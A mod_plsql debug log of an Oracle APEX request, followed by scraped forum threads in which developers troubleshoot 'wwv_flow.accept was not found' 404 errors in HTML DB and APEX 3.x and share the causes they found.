<1885440046 ms>(wppa.c,332) Building Arglist based on Parsed Content from WRB
<1885440046 ms>(wppa.c,1012) Enter ParseUrlData
<1885440046 ms>POST
<1885440046 ms>(wpu.c,256) Attempting to read 473 bytes
<1885440046 ms>(wpu.c,261) We read 473, had 0, to get 0 bytes
<1885440046 ms>[headers begin]
<1885440046 ms>HTTP_COOKIE(11): (92)ISCOOKIE=true; ORACLE_PLATFORM_REMEMBER_UN=ADMIN:WEB_PORTAL; WWV_FLOW_USER2=A12843ECC05B47F9
<1885440046 ms>[headers end]
<1885440046 ms>p_flow_id=4000&p_flow_step_id=4900&p_instance=3737292023359227&p_page_submission_id=50868&p_request=ExportFlow&p_arg_names=6926471043&p_t01=100&p_arg_names=1721949240&p_t02=DOS&p_arg_names=791781102&p_t03=&p_arg_names=18891404558260052&p_t04=RUN_AND_BUILD&p_arg_names=198614502120573324&p_t05=1&p_arg_names=25717725405973450&p_t06=N&p_arg_names=124195606865896920&p_t07=Y&p_arg_names=45083820509961243&p_t08=5&p_arg_names=72688801649844540&p_t09=103%3B1%7C1&p_md5_checksum=
<1885440046 ms>[form_data]
<1885440046 ms>p_flow_id=4000&p_flow_step_id=4900&p_instance=3737292023359227&p_page_submission_id=50868&p_request=ExportFlow&p_arg_names=6926471043&p_t01=100&p_arg_names=1721949240&p_t02=DOS&p_arg_names=791781102&p_t03=&p_arg_names=18891404558260052&p_t04=RUN_AND_BUILD&p_arg_names=198614502120573324&p_t05=1&p_arg_names=25717725405973450&p_t06=N&p_arg_names=124195606865896920&p_t07=Y&p_arg_names=45083820509961243&p_t08=5&p_arg_names=72688801649844540&p_t09=103%3B1%7C1&p_md5_checksum=
<1885440046 ms>(wppa.c,1506) indx = 24, entryCnt = 24
<1885440046 ms>(wppa.c,1605) Array bind graduated (9=>20, 19=>32)
<1885440046 ms>(wppa.c,1827) Listing distinct actual names:
<1885440046 ms>(wppa.c,1829) p_flow_id
<1885440046 ms>(wppa.c,1829) p_flow_step_id
<1885440046 ms>(wppa.c,1829) p_instance
<1885440046 ms>(wppa.c,1829) p_page_submission_id
<1885440046 ms>(wppa.c,1829) p_request
<1885440046 ms>(wppa.c,1829) p_arg_names
<1885440046 ms>(wppa.c,1829) p_t01
<1885440046 ms>(wppa.c,1829) p_t02
<1885440046 ms>(wppa.c,1829) p_t03
<1885440046 ms>(wppa.c,1829) p_t04
<1885440046 ms>(wppa.c,1829) p_t05
<1885440046 ms>(wppa.c,1829) p_t06
<1885440046 ms>(wppa.c,1829) p_t07
<1885440046 ms>(wppa.c,1829) p_t08
<1885440046 ms>(wppa.c,1829) p_t09
<1885440046 ms>(wppa.c,1829) p_md5_checksum
<1885440046 ms>(wppa.c,1831) Listing actuals of array with large entries:
<1885440046 ms>(wppa.c,1836) Listing distinct actual names and values:
<1885440046 ms>(wppa.c,1868) p_flow_id, type = 0, value (5) = 4000
<1885440046 ms>(wppa.c,1868) p_flow_step_id, type = 0, value (5) = 4900
<1885440046 ms>(wppa.c,1868) p_instance, type = 0, value (17) = 3737292023359227
<1885440046 ms>(wppa.c,1868) p_page_submission_id, type = 0, value (6) = 50868
<1885440046 ms>(wppa.c,1868) p_request, type = 0, value (11) = ExportFlow
<1885440046 ms>(wppa.c,1860) p_arg_names (maxlen 19), small array, values:
<1885440046 ms>(wppa.c,1863) 6926471043
<1885440046 ms>(wppa.c,1863) 1721949240
<1885440046 ms>(wppa.c,1863) 791781102
<1885440046 ms>(wppa.c,1863) 18891404558260052
<1885440046 ms>(wppa.c,1863) 198614502120573324
<1885440046 ms>(wppa.c,1863) 25717725405973450
<1885440046 ms>(wppa.c,1863) 124195606865896920
<1885440046 ms>(wppa.c,1863) 45083820509961243
<1885440046 ms>(wppa.c,1863) 72688801649844540
<1885440046 ms>(wppa.c,1868) p_t01, type = 0, value (4) = 100
<1885440046 ms>(wppa.c,1868) p_t02, type = 0, value (4) = DOS
<1885440046 ms>(wppa.c,1868) p_t03, type = 0, value (1) =
<1885440046 ms>(wppa.c,1868) p_t04, type = 0, value (14) = RUN_AND_BUILD
<1885440046 ms>(wppa.c,1868) p_t05, type = 0, value (2) = 1
<1885440046 ms>(wppa.c,1868) p_t06, type = 0, value (2) = N
<1885440046 ms>(wppa.c,1868) p_t07, type = 0, value (2) = Y
<1885440046 ms>(wppa.c,1868) p_t08, type = 0, value (2) = 5
<1885440046 ms>(wppa.c,1868) p_t09, type = 0, value (8) = 103;1|1
<1885440046 ms>(wppa.c,1868) p_md5_checksum, type = 0, value (1) =
<1885440046 ms>(wppa.c,427) Arglist built, 16 unique entries
<1885440046 ms>(wpx.c,656) Going to wpprodb_OciDoBlock...
<1885440046 ms>(wppr.c,459) start working with wwv_flow.accept
<1885440046 ms>(wppr.c,1163) The CALL block: len=1284, bind_count=24
declare
rc__ number;
start_time__ binary_integer;
simple_list__ owa_util.vc_arr;
complex_list__ owa_util.vc_arr;
begin
start_time__ := dbms_utility.get_time;
owa.init_cgi_env(:n__,:nm__,:v__);
htp.HTBUF_LEN := 255;
htp.set_transfer_mode('raw');
null;
simple_list__(1) := 'sys.%';
simple_list__(2) := 'dbms\_%';
simple_list__(3) := 'utl\_%';
simple_list__(4) := 'owa\_%';
simple_list__(5) := 'owa.%';
simple_list__(6) := 'htp.%';
simple_list__(7) := 'htf.%';
if ((owa_match.match_pattern('wwv_flow.accept', simple_list__, complex_list__, true))) then
rc__ := 2;
else
null;
null;
wwv_flow.accept(p_flow_id=>:p_flow_id,p_flow_step_id=>:p_flow_step_id,p_instance=>:p_instance,p_page_submission_id=>:p_page_submission_id,p_request=>:p_request,p_arg_names=>:p_arg_names,p_t01=>:p_t01,p_t02=>:p_t02,p_t03=>:p_t03,p_t04=>:p_t04,p_t05=>:p_t05,p_t06=>:p_t06,p_t07=>:p_t07,p_t08=>:p_t08,p_t09=>:p_t09,p_md5_checksum=>:p_md5_checksum);
if (wpg_docload.is_file_download) then
rc__ := 1;
wpg_docload.get_download_file(:doc_info);
null;
null;
null;
commit;
else
rc__ := 0;
null;
null;
null;
commit;
owa.get_page_raw(:data__,:ndata__);
end if;
end if;
:rc__ := rc__;
:db_proc_time__ := dbms_utility.get_time - start_time__;
end;
<1885440046 ms>(wppr.c,519) Pl/sql block parsed...
<1885440046 ms>(wpdenv.c,1526) CGI Environment has 31 vars. Max name len 128, Max Value Len 128
<1885440046 ms> PLSQL_GATEWAY(14)=(6)WebDb
<1885440046 ms> GATEWAY_IVERSION(17)=(2)3
<1885440046 ms> SERVER_SOFTWARE(16)=(60)Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
<1885440046 ms> GATEWAY_INTERFACE(18)=(8)CGI/1.1
<1885440046 ms> SERVER_PORT(12)=(5)7778
<1885440046 ms> SERVER_NAME(12)=(9)business
<1885440046 ms> REQUEST_METHOD(15)=(5)POST
<1885440046 ms> PATH_INFO(10)=(17)/wwv_flow.accept
<1885440046 ms> SCRIPT_NAME(12)=(10)/pls/apex
<1885440046 ms> REMOTE_ADDR(12)=(12)192.168.1.9
<1885440046 ms> SERVER_PROTOCOL(16)=(9)HTTP/1.1
<1885440046 ms> REQUEST_PROTOCOL(17)=(5)HTTP
<1885440046 ms> REMOTE_USER(12)=(17)APEX_PUBLIC_USER
<1885440046 ms> HTTP_CONTENT_LENGTH(20)=(4)473
<1885440046 ms> HTTP_CONTENT_TYPE(18)=(34)application/x-www-form-urlencoded
<1885440046 ms> HTTP_USER_AGENT(16)=(75)Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
<1885440046 ms> HTTP_HOST(10)=(14)business:7777
<1885440046 ms> HTTP_ACCEPT(12)=(88)image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
<1885440046 ms> HTTP_ACCEPT_ENCODING(21)=(14)gzip, deflate
<1885440046 ms> HTTP_ACCEPT_LANGUAGE(21)=(3)ru
<1885440046 ms> HTTP_COOKIE(12)=(93)ISCOOKIE=true; ORACLE_PLATFORM_REMEMBER_UN=ADMIN:WEB_PORTAL; WWV_FLOW_USER2=A12843ECC05B47F9
<1885440046 ms> HTTP_REFERER(13)=(79)http://business:7777/pls/apex/f?p=4000:4900:3737292023359227::::FB_FLOW_ID:103
<1885440046 ms> HTTP_ORACLE_ECID(17)=(40)1190703260:192.168.1.9:2464:1124:1863,0
<1885440046 ms> WEB_AUTHENT_PREFIX(19)=(1)
<1885440046 ms> DAD_NAME(9)=(5)apex
<1885440046 ms> DOC_ACCESS_PATH(16)=(5)docs
<1885440046 ms> DOCUMENT_TABLE(15)=(23)wwv_flow_file_objects$
<1885440046 ms> PATH_ALIAS(11)=(1)
<1885440046 ms> REQUEST_CHARSET(16)=(13)CL8MSWIN1251
<1885440046 ms> REQUEST_IANA_CHARSET(21)=(13)WINDOWS-1251
<1885440046 ms> SCRIPT_PREFIX(14)=(5)/pls
<1885440046 ms>StrArrPosBind pos 2 Charset Id : 171
<1885440046 ms>StrArrPosBind pos 3 Charset Id : 171
<1885440046 ms>StrArrPosBind pos 9 Charset Id : 171
<1885440359 ms>ORA-1403 Execute ORA-01403: данные не найдены
ORA-06512: на "SYS.HTP", line 987
ORA-06512: на "SYS.OWA", line 105
ORA-06512: на line 38
<1885440359 ms>Stale Connection due to Oracle error 1403
<1885440359 ms>/pls/apex/wwv_flow.accept HTTP-404 ORA-01403: данные не найдены
ORA-06512: на "SYS.HTP", line 987
ORA-06512: на "SYS.OWA
Alexey.

Error 404 wwv_flow.accept was not found

I'm on Apex 3.0 and Oracle 10.2.0.1.0
Suddenly my applications started to behave strangley:
In tabular forms when I am deleting row(s) I'm getting Error 404 and it says
The requested URL /pls/apex/wwv_flow.accept was not found on this server.
I have not shanged application lately except that I am doing some translations via XLIFF.
Apache log file shows:
mod_plsql: /pls/apex/wwv_flow.accept HTTP-404 ORA-03113:...
mod_plsql: Unable to reset state for mode 0: Err 3114 url=>/pls/apex/wwv_flow.accept
Any idea? Please!
Janis

It's a very weird bug indeed! It behaves somewhat randomly.
Logging out and in again helps for some tabular forms to perform a single delete operation but not for others.
Flushing shared pool has no effect.
Recreating the page has the same problem.
Removed translation mapping (which i suspected) - no effect.
Finally, I guess I found the problem.
My tabular forms are built on views with INSTEAD OF triggers.
The view definition itself was written using JOIN operators for joing data tables.
When I converted SQL syntax back to Oracle style it seems to have solved the problem.
I'll have to do more testing on this - but it definitely must be registered under a new bug number (i guess)
Janis

SQL error not displayed. Instead wwv_flow.accept was not found

Hi,
My Question:
Why does the SQL error in this case not get propagated up the chain?
BACKGOUND:
Just spent a few hours trying to figure out why when trying to insert into a table using a wizard created page I was getting the error: The requested URL /pls/htmldb/wwv_flow.accept was not found on this server. It turns out that the error message is a red herring, and the problem was caused by a SQL error that I thought should have been caught and displayed.
When running the page under debug, the error is displayed, but run as Joe Blow user, the www_flow.accept error is received.
DETAILS
Process details where the insert takes place:</h3>
Process point:
After Submit - after computations and validations
Process Messaging
Process Error Message
Unable to insert a row to TRAINING_SESSIONS
HTML DB ERROR (NOT IN DEBUG MODE)
This is the error the end user sees in the browser:
The requested URL /pls/htmldb/wwv_flow.accept was not found on this server
APACHE ERROR_LOG
[Sun Jun 06 17:50:28 2004] [error] [client 127.0.0.1] [ecid: 1086508225:10.6.6.6:1724:1732:320,0] mod_plsql: /pls/htmldb/wwv_flow.accept HTTP-404 ORA-03113: end-of-file on communication channel
[Sun Jun 06 17:50:28 2004] [alert] [client 127.0.0.1] [ecid: 1086508225:10.6.6.6:1724:1732:320,0] mod_plsql: Unable to reset state for mode 0: Err 3114 url=>/pls/htmldb/wwv_flow.accept
HTMLDB DEBUG MODE OUTPUT
This is what you see when running the page as developer with debug on:
0.01: Processing point: AFTER_SUBMIT
0.01: ...PLSQL (AFTER_SUBMIT)
INSERT INTO "TRAINING_SESSIONS" ("TRNG_ID",
"COURSE_ID",
"START_DATE",
"LOCATION",
"COST")
VALUES ( TRNG_SEQ.NEXTVAL,
:P27_COURSE_ID,
:P27_START_DATE,
:P27_LOCATION
:P27_COST)
0.01: Show ERROR page...
0.04: Processing point: AFTER_ERROR_HEADER Home
Error Unable to insert a row to TRAINING_SESSIONS
OK
0.06: Processing point: BEFORE_ERROR_FOOTER
ORA-06550: line 6, column 9: PL/SQL: ORA-00947: not enough values ORA-06550: line 1, column 7: PL/SQL: SQL Statement ignored
ACTUAL PROBLEM:
The sequence TRNG_SEQ does not exist!

Has anyone found what causes this problem? I am running HTMLDB 1.6
I have a HTMLDB application running against four databases. I develop in one and export and import the application to all databases. It appears that on the databases that are NOT development, this www_flow.accept was not found comes up instead of the error page.
Please help! We are getting so close to wanting to release this application.

Apex 3.1.1.00.09 - HTTP 404 - wwv_flow.accept was not found

Hello,
a few days before we updated from 3.1.0 to 3.1.1.00.09. After this update we get over all applications on some sides from time to time this error:
HTTP 404 - /pls/htmldb/wwv_flow.accept was not found on this server.Before the update all of ou application are running fine, after update we get much trouble. Even the 4000 application (Apex application to create/edit user applications) runs this failure. In Oracle Apache Log we get the message
Unerwartetes Übertragungsende in Kommunikationmeans something like Unexpected end in communication
Some ideas what can cause this failure?
Regards
voidy
PS: we're running Apex on Ora 10gR2 (10.2.0.3.0), database and Oracle-Webserver are running on different hosts

I've recently upgraded to the same version and I get the 404 every time I filter a popup LOV. A blank filter works fine but as soon as I hit Search to do_submit('FIND'), the popup goes to a 404.
I've recompiled the whole schema and all objects are valid.
Stumped.

404 not found The requested URL /pls/apex11/wwv_flow.accept was not found on this server.

Similar Messages

Maybe you are looking for